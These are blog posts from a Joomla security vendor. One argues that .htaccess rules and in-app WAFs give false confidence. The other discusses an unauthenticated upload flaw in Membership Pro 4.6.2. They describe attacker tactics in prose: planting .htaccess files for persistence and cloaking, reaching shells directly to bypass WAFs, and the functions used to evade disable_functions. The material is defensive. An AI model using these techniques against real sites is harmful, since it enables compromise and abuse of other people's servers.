Two consequences follow, and both undercut the mental model of "my .htaccess guards the front door". First, whatever the front proxy allows through reaches Apache regardless of what your .htaccess would have wanted at the edge; the .htaccess cannot filter a request before it has been proxied to Apache, because it is not the first thing the request meets, it is nearly the last. Second, and more damaging, a request that the front layer can answer from cache never reaches Apache at all. If Cloudflare or the Nginx reverse-proxy cache has a copy of the response, it serves it directly, and your .htaccess does not execute: not its redirects, not its blocks, not its security headers, not its carefully crafted deny rules. A security rule that only runs on cache misses is a security rule with holes in it that move around depending on what is currently cached.

So the picture people carry in their heads, a single gatekeeper .htaccess standing at the entrance inspecting every visitor, is wrong twice over on a modern stack. There are one, two, sometimes three layers in front of it that it has no control over and cannot even see, and behind some of those layers, for cached responses, it does not run at all. It is not the front door. It is a door somewhere near the back of the house, that only some visitors ever walk through.

Even hackers use .htaccess, usually better than you do

There is an irony sitting underneath all of this, and it is a genuine one: attackers are frequently far more fluent in .htaccess than the site owners defending with it. To a competent attacker it is not a shield at all. It is one of their favourite tools.

Once they have a foothold, a .htaccess is how they make themselves comfortable. They drop their own into an uploads folder to force PHP processing where your rules forbade it, so that the innocuous-looking .jpg they uploaded runs as code. They plant one in a deep subdirectory to cloak and redirect: real visitors and Googlebot get sent to a spam or malware network, while you, visiting your own homepage, are served a clean page and see nothing wrong for months. They use it to password-protect the directory holding their own backdoor, so that even if you find the folder you cannot easily see inside it. We have cleaned up sites carrying thousands of malicious .htaccess files that attackers weaponised against the owner, scattered through every writable directory, and we have watched backdoors rebuild every one of those files within minutes of a cleanup, because the entry point that let them in was never actually closed. The same file you trusted as your defence is, in a compromised site, the attacker's preferred instrument. They understand the format better than you do, and they are using it against you.

Your .htaccess might be the hack itself

Here is the turn that catches people out. On a compromised site, the .htaccess is not automatically your file. Some of the most common Joomla infections we clean up right now ship their own, uploaded by the attacker and doing the exact opposite of what you assume a .htaccess is for.

We flag every one of them. On the site below, the audit found .htaccess files marked as hacked scattered through the template tree and inside a folder the attacker had helpfully named firewall, several of them set to 0444 so they are read-only and harder to delete.

Open one and the intent is obvious. This is the contents of that /tmp/firewall/firewall/.htaccess:

Read it the way Apache does. The first block denies execution to every spelling of a PHP file it can think of, php, PHP, pHp, php5, phtml, plus .suspected and several more. The second block then carves two exceptions back out: index.php and cache.php are allowed to run. That is not a defence. It is an attacker switching PHP execution off for the whole directory and back on again only for their own two droppers. Every scanner's shell, every rival attacker's backdoor, every file but theirs is now inert, while their index.php and cache.php keep serving. It is persistence and turf control, written in the exact syntax you were told to trust.

This is precisely why we treat a new or changed .htaccess as something to audit, not something to believe. The file that is supposed to be your defence is, often enough, the clearest signal that the site is already owned.

More reasons the .htaccess is the wrong thing to trust

Beyond the headline problems, a pile of smaller ones compounds, and any single one of them should give you pause before you treat this file as your security.

One bad line takes the whole site down. A .htaccess is parsed on every request, and if it contains a single directive Apache cannot honour, a rule from a module the host has not loaded, a typo, a directive the host has explicitly forbidden, Apache does not quietly skip it. It returns a 500 Internal Server Error for every request to that directory and everything beneath it: your pages, your images, your CSS, all of it, gone at once. The file you added to make the site safer is one fat-fingered line away from taking the entire site offline. It fails to broken, not to safe, which is the opposite of what a security control should do.

Technical detail: how one line 500s everything

Apache parses the applicable .htaccess files while it assembles the response, so a directive it cannot process is a fatal parse error for that request, not a skipped line. Add Header set X-Frame-Options SAMEORIGIN where mod_headers is not loaded, a php_value where PHP runs as FPM or CGI rather than mod_php, or a SetEnv where mod_env is absent, and every request under that directory returns 500 Internal Server Error, including static assets that never touch Joomla at all.

There is no partial application and no graceful fallback: the entire file is refused, so a rule you pasted in for security can black-hole the whole site until someone reads the Apache error log and finds the one offending line. A security file that can take the site down on a typo is a liability sitting inside your defence.

Your ruleset is downloadable, and it maps your defences. Every editor and hardening tool leaves backups behind: .htaccess.bak, .htaccess.orig, .htaccess.save, cPanel's own copies, Akeeba's .htaccess.admintools. Those backup files are almost never themselves protected from direct browser access, so an attacker can often just request one and read, in plain text, exactly which paths you guard, which files you hide, and which protections you lean on. Your secret hardening becomes a reconnaissance document, handed straight to the person you were trying to hide it from.

It is not in source control, so it silently drifts. The .htaccess lives on the server, edited by hand, almost never committed to git, rarely reviewed by anyone. Your dev, staging and production copies drift apart, nobody can diff the current state against a known-good baseline, and Joomla's own warning that a core update will overwrite htaccess.txt guarantees the rot. Security configuration you cannot see the history of, and cannot diff, is security configuration you do not really control.

It is blind to the vectors behind most compromises. A phished or reused Super User password, a nulled or pirated extension shipping a backdoor, a legitimate extension whose update server was compromised: all of these arrive through approved, authenticated, entirely expected channels. A large share of real-world Joomla infections begin exactly there, and no .htaccess rule has any opinion whatsoever about a valid login or a signed update. You cannot rewrite-rule your way out of a stolen password.

A default lockdown punishes the honest and waves the malware through. This is the sting hiding inside a "secure by default" restrictive .htaccess. The extensions that break under it are the well-behaved ones that put their files where they said they would. Malware does not read your whitelist; it writes wherever the process can write. So the rule inconveniences legitimate developers and their users far more than it ever inconveniences the attacker it was aimed at.

A dead rule looks exactly like a working one. .htaccess directives are order-sensitive and dependency-sensitive. A hardening rule pasted below the SEF rewrite's [L] flag, or one that quietly needs a module the server has not loaded, simply never fires, and nothing anywhere tells you. You cannot unit-test it, you cannot see it on a dashboard, and "I added the rule" is not the same statement as "the rule runs". A good share of the hardening people believe they have is dead code they will never find out is dead.

It keeps no record of its own tampering. When an attacker drops or overwrites a malicious .htaccess, the file raises no alarm about itself. No log line, no alert, no diff, nothing that says "your security file just changed underneath you". A control that cannot tell you it has been subverted is the exact opposite of what you want, and it is the whole reason the thing that actually catches these break-ins is file-change monitoring watching the .htaccess, not the .htaccess watching for itself.

The most dangerous thing your .htaccess does is reassure you

Everything up to here has been about what a .htaccess cannot stop. The subtler and more expensive damage is what it makes you feel. A hardened .htaccess is enormously reassuring, and that reassurance is very nearly unearned, which makes false confidence the real cost of the whole exercise, well ahead of the CPU it burns.

Watch how it plays out in practice. You run Admin Tools, you work through the toggles, you get a satisfying "your site is hardened" summary, and a genuine feeling of having done your security homework settles in. Then the critical extension update arrives, the one that actually closes the hole an attacker is about to use, and the urgency to apply it is gone, because you are hardened now. The update can wait until the weekend, or the end of the sprint, or the next time you happen to log in. The hardening did not make you safer. It made you slower to do the one thing, patching, that would have. You swapped a small, real risk reduction for a large, invisible increase in how long you leave known holes standing open. That is a bad trade, and it is a trade almost nobody realises they are making.

It gets worse when the reassurance is institutional rather than personal, which is precisely what a "secure by default" .htaccess shipped in Joomla core would become. Push a stricter default onto a million installs and you also push a message to a million site owners: security is handled, the project has taken care of it, you can relax. For the one narrow risk the rule addresses, that message is true. For the SQL injection, the unauthenticated upload, the add-an-admin, the abandoned dev site next door, everything that actually gets sites owned, it is false, and now it is being broadcast at scale with the authority of the core team behind it. A green tick that covers a sliver of your real risk but reads as "you are protected" is not neutral. It actively suppresses the behaviour, patching and monitoring, that covers everything else.

Warning: hardening is not the same as being patched

The most common pattern we see in the hours before a compromise is not an unhardened site. It is a hardened site running an extension three versions behind, whose owner deferred the update because the site "was secure". Hardening and patching are not substitutes for one another. If you only have time for one this week, patch: the update actually closes the hole, while the .htaccess, at its very best, makes one narrow corner of the site slightly less convenient to abuse after the break-in has already happened.

The false confidence also starves the one thing that actually catches a breach. If you genuinely believe your .htaccess is standing between attackers and your site, you will not spend money or attention on file-change monitoring, because why would you, the wall is up. So when an attack routes through index.php past every rule you own, and it will, nothing is watching for the shell it drops. The compromise your hardening was never going to prevent now also goes undetected, because your hardening persuaded you detection was unnecessary. That is how a site ends up quietly serving pharmacy spam to Google for six months: not because nobody hardened it, but because somebody hardened it and then stopped looking.

Real security is uncomfortable on purpose. It assumes the wall will be bypassed, it keeps patching as though there were no wall, and it watches for the breach as though it were inevitable, because it is. A .htaccess that lulls you out of doing those three things has cost you far more than it ever protected.

And if you are thinking that this is precisely why you bought a firewall rather than relying on a text file, the next two sections are for you, because the trap has a second door.

Not all WAFs are equal - the most popular, by definition, slow down your sites a little!

Earlier I gave a web application firewall the credit for the one block that actually happened, and said it was the WAF rather than the .htaccess that caught it. So it is worth being as precise about firewalls as I have tried to be about everything else here. "WAF" is one word covering several quite different things sitting at different layers of the stack, and the layer decides both what the thing can catch and what it costs you to run.

Start with the kind most Joomla sites actually run, because it is the kind that gets sold to them: a PHP web application firewall, installed into Joomla as a component or a system plugin. It is the most popular sort by a distance, and it slows your site down by definition. That is a structural fact about where it sits rather than a criticism of how it is written. To inspect a request at all it must first be running, which means the PHP process has already started and Joomla's framework has already booted far enough to load system plugins, which is most of the fixed cost of a page view before any of your actual content is involved. Only then does the rule set run: a long list of regular expressions, evaluated in loops, against every parameter, every header and every cookie, on every single request that arrives, including the overwhelming majority that were always perfectly ordinary.

That cost is not incidental to the protection, it is the protection. The reason a PHP WAF can catch a SQL injection payload that your .htaccess never could is that it is deep enough inside the request to see the parameter values after Joomla has parsed them, and being that deep is exactly what makes it expensive. Every request pays for the inspection, and your customer's request pays precisely the same as the attacker's. Popularity then compounds it: the most-installed security extension in the ecosystem is, by definition, the one charging that per-request tax to the most sites.

The best place for a web application firewall is the server layer, or better still the edge, in front of your server entirely: ModSecurity as an Apache or Nginx module, or a real edge WAF like Cloudflare. Put it at the edge and a malicious request is inspected and refused in a datacentre near the attacker, before it has touched your server at all, let alone started a PHP process or booted Joomla. Your origin spends nothing on it, and your legitimate visitors are not paying a regex tax on every page view for the privilege. It also cannot be got at: a WAF at the edge sits outside the folder tree, outside the application, and outside the reach of whoever compromises the site. It is not a checkbox on a settings screen inside the very thing being attacked, so it cannot be unticked by a frustrated administrator, switched off by a rogue Super User, or overridden by a dropped .htaccess.

Technical detail: how far a request travels before each WAF sees it

An edge WAF inspects the request at a datacentre near the visitor and drops it there: your server never receives it, so there is no connection to your origin, no Apache worker, no PHP process and no database query. A server-level WAF such as ModSecurity sees the request once it has reached your box and been parsed by the web server, and inspects it in compiled C before PHP is involved, costing you a little CPU and no PHP. A PHP WAF inside Joomla sees it last of all, once your server has accepted the request, started a PHP process, and booted the framework far enough to run system plugins.

So the further back the firewall sits, the more of your stack an attacker gets to spend before being told no, and the more of it your real visitors spend too.

A Joomla extension WAF only sees what index.php sends it, and the hacker's most important requests never go near it

The layer problem has a sibling, and this one is worse, because it is a coverage problem. A web application firewall installed as a Joomla extension is not the god layer you are looking for, and the reason has nothing to do with the quality of its rules. It only ever inspects the requests that Joomla hands it. It is a system plugin. It runs because Joomla ran. Its entire field of view is the set of requests that were routed through index.php and got far enough into the application to fire a plugin event. Anything that reaches PHP by another path is, to that firewall, silent.

Take our own connector, because it is the cleanest example I can give you and it is one I am responsible for. It is a PHP file sitting in a subfolder of your site, and it is requested directly, by design, for a reason worth stating plainly: it has to keep working on the day Joomla does not. When mySites.guru talks to that file, the request never touches index.php, never boots the Joomla application, and never fires a plugin event. It is therefore never seen by RSFirewall!, never seen by Admin Tools' WAF, and never seen by any other PHP firewall installed as a Joomla extension. Those firewalls are not ignoring the request. They are not running at all. Nothing woke them up.

That is fine for us, because the connector authenticates every request itself and is built to stand on its own, which is the same standard I am asking you to hold everything else to. The point is what it proves about the firewall. There is a live PHP endpoint in your webspace, being requested every single day, that your security extension has no visibility of whatsoever. And if that is true of a file you installed deliberately and know about, ask yourself what else it is true of.

The answer is: every directly-requested .php file on the site. Akeeba's kickstart.php. The updater's extract.php. Any extension that ships a standalone endpoint. Any leftover script from an old installation, a migration tool someone uploaded once, a phpinfo file from a debugging session in 2019, the whole forgotten dev copy sitting in ./public_html/old. None of it routes through index.php, so none of it is inspected, and the firewall's dashboard will still cheerfully report that it is protecting your site.

And then there is the one that actually costs you the site. Go back to the two-stage attack. Stage one is the exploit, and yes, that usually does arrive through index.php, which is precisely why a PHP WAF can sometimes catch it, as one did for us. Stage two is the attacker requesting the file they just planted: a plain GET to /images/evil.php. That request does not go through index.php. It does not boot Joomla. It does not fire a plugin event. Your WAF is not consulted and cannot be. So the firewall you are trusting gets exactly one chance to stop the whole attack, the request that plants the shell, and it only has to miss once. From that moment it is blind to every request the attacker makes for as long as they care to keep making them. The backdoor they run commands through for the next six months is invisible to your web application firewall, because your web application firewall lives inside the application, and the backdoor does not need the application.

Yes, I know about auto_prepend_file, and no, it does not rescue this

Some firewalls can hook every PHP script rather than only the ones Joomla routes, using PHP's auto_prepend_file directive to force their own entry point to execute before any script on the site runs. Credit where it is due: that is the right instinct, and it genuinely does close the blind spot described above. The shell at /images/evil.php would then be inspected too, because the firewall runs before it does. There are two problems with reaching for it as the answer.

The first is the bill, and it is the previous section's argument made worse. You have gone from "run the whole rule engine on every request Joomla handles" to "run the whole rule engine before every PHP file on the server executes", including plenty that Joomla knows nothing about and that were never worth inspecting. Everything on the box gets slower, not just Joomla. The second problem is the one that settles it: you can only do this if you are permitted to. auto_prepend_file is set in php.ini, in a .user.ini, or through php_value in a .htaccess under mod_php, and on most shared hosting you have no php.ini of your own, php_value 500s the entire site the moment PHP is running as FPM or CGI rather than mod_php (which is now the norm), and whether .user.ini is exposed to you at all is your host's decision, not yours. So the fix for the extension WAF's blind spot turns out to need precisely the server-layer access that most Joomla site owners do not have. And if you do have that access, the question answers itself: you had the server layer all along, so put the firewall there in the first place, where it is cheaper, sees everything, and cannot be switched off from inside the site.

So the question worth asking out loud about any security extension is a coverage question rather than a rules question: what proportion of the PHP that can execute on your server does this thing actually see? For a Joomla extension WAF the honest answer is "the proportion that goes through index.php", and that excludes every standalone endpoint, every forgotten script, every file belonging to the neighbouring site in your webspace, and every request to the backdoor once it exists. A WAF at the server or the edge has none of those blind spots, for the same structural reason it costs you nothing: it is in front of the server, so it sees every request that arrives, no matter which file the request was for or whether Joomla was ever going to run.

To be clear, because these two sections have been hard on them: none of this is a case against web application firewalls. Like the .htaccess, they have a real place, and I would far rather you ran one than did not. A PHP WAF inside Joomla still sees things nothing else in your stack can see, it is still the thing that blocked a live SQL injection for us, and on a shared host with no edge and no ModSecurity available to you it may be the only firewall you are permitted to have. Run it.

The point is the same one, aimed at a different object: know what your protection actually covers, and do not let it do your thinking for you. How a Joomla extension WAF really works deserves an article of its own, and if I write it, a fair amount of what is above will turn up in it again almost word for word, because the same trap is sitting there waiting. A firewall that shows you a green dashboard while a direct request to a PHP file in a subfolder strolls past it untouched is selling you exactly what a hardened .htaccess sells: the feeling of having been protected, which has never been the same thing as the fact of it.

Secure by design beats a bigger moat

So what is the alternative to piling rules onto the gate? Stop thinking about moats, and start thinking about the house.

I don't lock my garden gate when I go on holiday. Not because I have dug a moat and padlocked the gate, but because the house itself is in order and secure by design. Windows closed and locked. Doors deadbolted. Lights on a timer. Post office told to hold the mail, so no parcels pile up on the porch announcing to the whole street that nobody is home.

A .htaccess bristling with rules is the chained garden gate and the padlock on the fridge. It looks impressive from the pavement and it changes almost nothing, because the way in was never the gate, and the prize was never the beer. The burglar walks up the drive that has to be there, past the gate, to the front door that has to open. Secure by design is the house: a core and extension stack that validates its own input, checks its own permissions, casts its own integers, and refuses unsafe uploads in its own code, so that it does not matter how a request arrived or what it carried.

This is exactly why some genuinely secure architectures need direct access and are not weakened by it. When we built the mySites.guru API around OAuth2, PKCE and per-request access checks, the security lives in the design of the thing, in what every request is required to prove before anything happens, not in a wall of .htaccess restrictions bolted on around the outside. And there is a nuance most hardening guides miss entirely: some Joomla exploits only became remote code execution on the newest Joomla, because every earlier version blocked the unsafe upload in core by default. The thing that actually protected those older sites was secure-by-design core behaviour, an upload filter in Joomla's own code, not a line in anyone's .htaccess.

Friction is the other reason lockdown fails in the real world, and it is worth stating plainly because the Joomla community is about to walk into it. We learned this lesson the hard way with two-factor authentication and passkeys: pile on enough friction and frustrated users switch the protection off entirely, choosing convenience over a safety measure that keeps getting in their way. This is where the fridge lock finally gives itself away. Hunting for your keys and scanning your eyeball every time you want milk for your coffee is a cost you pay every single morning, and the burglar it defends against is hypothetical and has not turned up yet. Nobody keeps that up. The lock gets propped open, then taken off, and the person who removes it is not being careless, they are being rational about a tax they pay daily for a benefit they have never once observed. A .htaccess so aggressive that it 403s your own staff, breaks a legitimate extension, or blocks a genuine customer search, gets loosened, commented out, or deleted the first time it causes a support ticket. Security that people turn off is not security. It is a feature with a short half-life.

Real security lives in the server layer, not the app's folder tree

There is a deeper architectural point underneath everything above, and once you see it you cannot unsee it. A .htaccess is a configuration file that lives inside your application's folder tree, in the same browsable directories as your images and your PHP. That is the wrong place for security to live, and the whole industry has spent the last decade moving configuration in the opposite direction: out of the app tree, into the server, the environment, and the platform.

We already learned this lesson with plain configuration, long before anyone argued about security. The Twelve-Factor App, about as close as modern web development has to a shared rulebook, says config belongs in the environment, injected by the server or the process, not in files that sit alongside your code. The reasoning is the same one: a file in the app tree can be read, checked in, copied, downloaded, or edited by the wrong person. A .env file dropped into your document root is the textbook anti-pattern, a plain-text file full of database passwords sitting in the web-served tree, and the thing most often "protecting" it from being downloaded is a .htaccess rule, one that can be absent, mis-ordered, or 500 the whole site on a bad line. You end up using one app-tree file to guard another, when the real answer is to keep the secrets out of the tree entirely.

Technical detail: where config and controls actually belong

The Twelve-Factor App's config rule is to store configuration in environment variables set by the deploy environment, not in files committed with the code, precisely because files in the tree get read, served, or checked in by accident. In practice that means credentials live in Apache SetEnv/SetEnvIf at the vhost level, Nginx fastcgi_param, a systemd Environment= line, or a container's env, none of which sit inside the web-served folder tree at all.

The containment controls that actually limit a breach live at that same layer and are equally out of a .htaccess's reach: per-account Unix users and per-site PHP-FPM pools, open_basedir, CageFS jails, a read-only application filesystem, and firewall rules. You cannot express a single one of them as a directive in a file in your webroot, which is exactly why they hold: an attacker who reaches your folder tree still cannot rewrite the rules that are keeping them boxed in.

Set those same values at the server layer instead and they never touch the browsable tree. Now apply the identical principle to security, because it is the identical principle. The controls that actually contain a Joomla compromise all live at the server layer, and none of them are things you can write in a file in your webroot: separate Unix users and separate PHP-FPM pools per site, open_basedir and CageFS jails, a read-only application filesystem, network firewall rules, a real WAF at the edge. These are what stop a break-in on one site from reading every other site's configuration.php, what stop a web shell from spawning a system shell, what stop a leaked credential from reaching the database. Every one of them sits at the layer a .htaccess cannot touch. The closer a control lives to the server and the further from your browsable folder tree, the harder it is to read, to tamper with, or to expose by accident, and the more it is genuinely worth.

One server-layer setting is worth calling out precisely because it is the exception rather than an example. disable_functions in php.ini looks like a real control and is really a blocklist, which means it inherits every weakness this article has already pinned on blocklists, only moved to the server. It does nothing until an attacker is already executing PHP on your box, at which point, by definition, you are already compromised. And once they are in, disabling exec and system merely sends them to proc_open, popen, pcntl_exec, an LD_PRELOAD trick, or simply writing a file and letting something else run it. It is the fridge lock of the server layer: it inconveniences a burglar who is already standing in your kitchen, and only until he notices the jewellery is in the next room. Worth having as a last thin layer, never mistaken for the thing keeping him out.

Now here is the honest, uncomfortable part, and it is the reason .htaccess hardening will not simply go away. Joomla is mass-market software, and most Joomla sites live on shared hosting where the owner has no access to the server layer whatsoever: no vhost config, no systemd, no firewall, no per-account isolation they control, often not even a real php.ini of their own. For those users the .htaccess is not a bad choice among good ones. It is the only lever they are handed, the single scrap of server-adjacent configuration a shared-hosting customer is allowed to touch. So the stubborn persistence of .htaccess hardening is not really evidence that it is good security. It is evidence that the hosting model has locked users out of the layer where security actually lives, and left them a per-directory file in the app tree as a consolation prize. That is a real trade-off, and it is precisely why a "secure by default" .htaccess is such a tempting idea for a project like Joomla: for a huge share of its users, that file is the only surface the project can reach at all.

But recognising the trade-off is not the same as pretending the file is something it is not. If shared hosting is your reality, use the .htaccess for what it is worth, and keep your expectations of it honest. When you can choose, choose the layer where security actually lives: hosting that gives you real per-site isolation, configuration kept in the environment rather than in files in the tree, and application code that defends itself so it stops mattering which folder an attacker reaches. A bigger, cleverer file in the folder tree is not the destination. It is what you settle for when you have been locked out of the room where the real controls are.

So should you delete your Joomla .htaccess?

No. This is not an argument to throw the file away, and I want to be completely clear about that, because "your .htaccess is not security" is easy to misread as "your .htaccess is worthless". It is not worthless. It is just not what you think it is.

Keep your .htaccess, and keep it doing the jobs it is genuinely good at.

What a .htaccess is genuinely good for

Forcing HTTPS and HSTS. Blocking direct browser access to sensitive files like configuration.php, .git and backup archives. Handling redirects and canonical URLs. Setting sensible security response headers. A sane hardening baseline from a tool like Admin Tools, as one thin layer of defence in depth. These are all worth doing. None of them is the same thing as stopping a vulnerability.

The distinction that matters is between using the .htaccess for those narrow, real jobs, and mistaking it for the thing that stands between an attacker and a bug. It is a safety net for a specific, limited set of problems. It is not the perimeter, it is not a firewall, and it is never the thing that fixes the vulnerable code itself.

If you want the order of priority that actually keeps Joomla sites standing, it looks like this, and notice where hardening the .htaccess sits:

Run current, well-maintained code. The overwhelming majority of real-world compromises exploit a known, already-patched bug in an outdated extension. Patching promptly is worth more than every rewrite rule you could ever write, combined. This is the single highest-value thing you can do.
Prefer secure-by-design extensions that validate their own input, cast their own integers, and check their own permissions, rather than extensions that assume the server will catch what they let through. When you evaluate a plugin, this is what you are really evaluating.
Watch for change. When an attack does route through index.php, and it will, the tell is a file appearing or changing that should not have. Real-time file-modification alerting catches the shell the moment it is written, and a suspect-content scan surfaces the ones already sitting there from before you were watching.
Then, and only then, harden the .htaccess as a thin extra layer, with a clear-eyed understanding of exactly how little of your actual risk it addresses.

Do all four and the .htaccess is a useful part of a real defence. Do only the fourth, and you have a chained gate on an open house.

How mySites.guru watches regardless of your .htaccess

Because the real attacks come through approved endpoints, the defence that matters is not another wall at a door the attacker was never going to try. It is knowing, immediately, when something on the other side of that door has changed. That is a monitoring problem, not a rewrite-rule problem, and it is the problem mySites.guru is built to solve.

mySites.guru indexes every extension on every connected site and cross-references their versions against vulnerability data twice a day, so you find out that a site is running a component with a known flaw before an attacker's scanner does, with no .htaccess rule required and nothing to hand-configure. It watches your files for modification and alerts you when one changes unexpectedly, which is how you catch a web shell that rode in through index.php past every rewrite rule you own, in the minutes after it appears rather than the weeks after your traffic collapses. And when the worst does happen, the connector keeps reporting even if Joomla itself is flat on its back, because it was deliberately built to be independent of the site it is monitoring.

If you are not sure what state your sites are actually in, run a free audit on any Joomla site and see what it turns up. If you manage a portfolio rather than a single site, mySites.guru lets you watch and update dozens or hundreds of Joomla sites from one place, spotting the vulnerable version across all of them and pushing the fix in one operation. And if one of them is already compromised, the Joomla hacked guide walks you through cleaning it up properly, without destroying the evidence you will want later.

Harden your .htaccess if you like. Just do not go on holiday with the gate chained, a padlock on the fridge, and every window in the house wide open.

Membership Pro 4.6.2: A Quiet Fix for Anonymous File Uploads

phil@mysites.guru (Phil Taylor) — Tue, 21 Jul 2026 12:00:00 GMT

Membership Pro is one of the most widely used membership and subscription components for Joomla. It runs paid memberships, recurring subscriptions and gated content, which means the people signing up are handing over their details, and sometimes their money, to a form on your site. On 21 July 2026 its developer, JoomDonation, released Membership Pro 4.6.2 with what the customer email calls "security improvements for file upload handling."

Read that phrasing next to what we published the day before. We had just reported an unauthenticated file upload flaw in Events Booking, the event registration component from the same developer, built on the same controller framework, with the same File custom field upload feature. Membership Pro 4.6.2 is that fix, applied to the sister product.

What changed

Before 4.6.2, having Membership Pro installed meant an unauthenticated visitor could upload files to your web server, whether or not your site used the feature that upload belongs to.

The vendor's own release notes describe them as "unauthenticated upload files" and ship a tool to delete the ones already left behind.

If you run Membership Pro on any Joomla site, update to 4.6.2 now and run the cleanup tool it ships. Everything at or below 4.6.1 is affected.

A note on what we know. We found and reported the anonymous upload flaw in Events Booking, which carries three CVEs. We have not pulled the Membership Pro source apart line by line the way we did Events Booking, and we do not need to. This account is built on JoomDonation's own release email for 4.6.2 and on our full audit of the identical flaw in its sibling component. Where we are inferring rather than confirming, we say so.

TL;DR

Membership Pro 4.6.2 fixes an unauthenticated file upload endpoint. Subscribers upload files through it when a site uses File custom fields, and before 4.6.2 it was reachable by anonymous visitors even on sites that had never created a File field
It is the same flaw, and the same fix, as Events Booking, from the same developer and the same codebase, which we reported and which carries three CVEs
There is only one plausible reason 4.6.2 exists. Having had the bug demonstrated in one product, JoomDonation closed it in the sister product built on the same framework, one day after emailing Events Booking customers
The release admits the exposure in its own words. 4.6.2 "automatically disables the upload endpoint when your site does not use any File custom fields, reducing unnecessary exposure" and ships a cleanup tool to "remove any unauthenticated upload files that may have been left behind"
The vendor called it "not a critical security issue." The Joomla CNA disagreed. JoomDonation emailed customers that 4.6.2 was "a security improvement rather than a vulnerability," with no advisory and no changelog entry of its own. It is now CVE-2026-62415, rated 9.1 critical
An anonymous upload path is not a footnote. It is free, unattributable storage on your domain, and attackers go looking for exactly that
Update to 4.6.2, then run the cleanup tool. The tool deletes upload files with no matching subscription record. There is a scheduled task version to keep doing it
Almost nobody is on the fix. Across the Membership Pro installs we can see on our customers' sites, fewer than one in a hundred were on 4.6.2 when we looked, and the single most common version was 4.6.1, the exact release it replaced

Why does Membership Pro 4.6.2 exist?

There is only one plausible reason, and it is us. We did not report a flaw in Membership Pro. We reported one in Events Booking, and Membership Pro 4.6.2 is what happened next.

The case is circumstantial but it is not thin. Events Booking and Membership Pro are both JoomDonation products. Both run on the same in-house controller framework, the one whose front-end dispatcher performs no CSRF check and no permission check by default and leaves each method to guard itself. Both offer File custom fields, the feature that lets a form collect an uploaded file during sign-up. And both, before their respective fixes, exposed that upload to anonymous visitors on every install.

When we disclosed the Events Booking upload, the developer re-reviewed that codebase and shipped a series of changes to the endpoint. The tell is the timing and the shape. JoomDonation emailed Events Booking customers on 20 July. Membership Pro 4.6.2 was released on 21 July with an upload fix described in almost the same language, down to the phrase "unauthenticated upload files" and a cleanup tool that does the same job as the orphan file cleanup tool shipped for Events Booking. A developer does not audit and re-engineer a specific upload endpoint across two products in a week for no reason. The reason was the report on the first one.

We think that is the correct thing to have done, and we will say so plainly: finding a class of bug in one product and going to close it in your others is exactly the response you want from a vendor. Our objection is to how the release was announced, and to what the people who need to act were told about it.

What the release email admits

The customer email for 4.6.2 is the best evidence for what the flaw was, because it describes the fix while trying not to describe a vulnerability. Two sentences do the work.

First: the upload endpoint "is now automatically disabled when your site does not use any File custom fields, reducing unnecessary exposure." The word doing the lifting there is "now." If disabling the endpoint on sites without File fields reduces exposure, then that exposure existed before, on every install that had Membership Pro present and had never touched the upload feature. That is the same defect the Joomla CNA recorded for Events Booking: an upload that was live by default, whether the site asked for it or not.

Second: the email recommends running "the new cleanup tool included in Membership Pro 4.6.2 to remove any unauthenticated upload files that may have been left behind before the update." The vendor's own words are "unauthenticated upload files." You do not ship a tool to delete a category of file unless that category exists and you expect to find it in the wild.

Set against those two admissions is the framing wrapped around them. The email calls the change "security improvements" rather than a vulnerability, states in bold that it is "not a remote code execution vulnerability," and closes that "while this is not considered a critical security issue, we recommend updating." JoomDonation published no changelog entry for 4.6.2 on its public changelog and no security advisory of its own. The Joomla project's CNA did not agree it was nothing to worry about: it assigned CVE-2026-62415 for this exact flaw, rated 9.1 critical. The only account the vendor gave its own customers was an email telling them the opposite.

That combination is the reason to worry. A fix for an anonymous write path into your web server, shipped with no vendor advisory and no changelog line, and a note telling customers it is not critical while the Joomla CNA files it as a 9.1 critical CVE, is the outcome least likely to get anybody to install it.

Why an anonymous file upload is such a problem

Code execution is the loudest thing an unauthenticated upload can buy an attacker, and treating it as the only thing that counts is how this kind of finding gets waved through. On a default configuration, this is not code execution, and we are not going to pretend it is. It is a stranger with write access to your file system, which is quite bad enough.

Anonymous, unattributable file storage on somebody else's infrastructure is a commodity, and people go looking for it. An open upload endpoint on a legitimate business domain is close to ideal for that: it costs nothing, it is not registered to anyone, the bandwidth is billed to a stranger, and the content inherits the reputation of a real site with a real TLS certificate that no filter has any reason to block.

What ends up in those folders is not theoretical. Pirated media and warez, because someone else is paying for the disk and the transfer. Phishing kits and fake login pages, which work far better when the URL is a genuine company domain than when it is a throwaway host. Malware and droppers staged for a different campaign entirely, so the attack on somebody else runs through your server. And illegal imagery, including material involving children, parked somewhere the people trading it will not be traced.

The part that matters for you is that all of it arrives with your name on it. You signed the hosting contract. The IP address, the domain and the billing details are yours. When the abuse report is written it is addressed to you, and hosts generally suspend first and investigate afterwards, which means the first thing you know about it may be a dead site and a support ticket. Beyond that sit domain and IP blocklisting, a payment processor taking an interest, and for the worst categories of content a set of legal obligations considerably more serious than a hosting suspension.

We have watched this happen. The Balbooa Forms flaw we disclosed this month did not come to us from a code audit. It came from a Hetzner abuse report sent to one of our customers, who brought us the raw access log. That is what an anonymous upload endpoint looks like from the owner's side: a message from your host telling you your server has been doing something you knew nothing about.

The quiet part is that you will probably not notice on your own. Nothing errors. No page breaks. Files accumulate in a directory nobody has any reason to open, attached to no subscription, and the site carries on serving memberships exactly as it did before.

Is this remote code execution?

Not on a default configuration, and the vendor is right about that much. A file upload constrained to image and document types cannot drop a web shell, so "not a remote code execution vulnerability" is a fair description of the shipped defaults. We said the same thing throughout our Events Booking write-up.

The problem is the absolute claim underneath it. The list of permitted file types is an administrator-editable setting. On a site whose owner has widened it to accept an executable type, which is unusual but not unheard of where a form needs to accept unusual attachments, an anonymous upload becomes straightforward unauthenticated remote code execution. "Attackers could not upload executable files" is true of the defaults, not of every install, and a message sent to every customer is making a promise about every install.

This is the same shape as the file upload flaws we found in PageBuilder CK and RSFiles!, which were clean unauthenticated RCE, and it sits one configuration change away from joining them. How serious it is for you depends on your allowed file types and on how long your site ran an affected version with a public sign-up form. A new membership site nobody has found yet is probably fine. A site that has been in Google for years has been reachable by every scanner on the internet for as long as this code has existed.

What Membership Pro 4.6.2 actually changes

From the vendor's own description, 4.6.2 does three things to the upload path, and each maps onto a specific weakness in the versions before it.

The endpoint is disabled when no File custom fields exist. This is the headline fix. The upload is no longer live on installs that were not using it, which is the "unnecessary exposure" the email refers to. If your site has no File fields, 4.6.2 takes the endpoint off the board entirely.
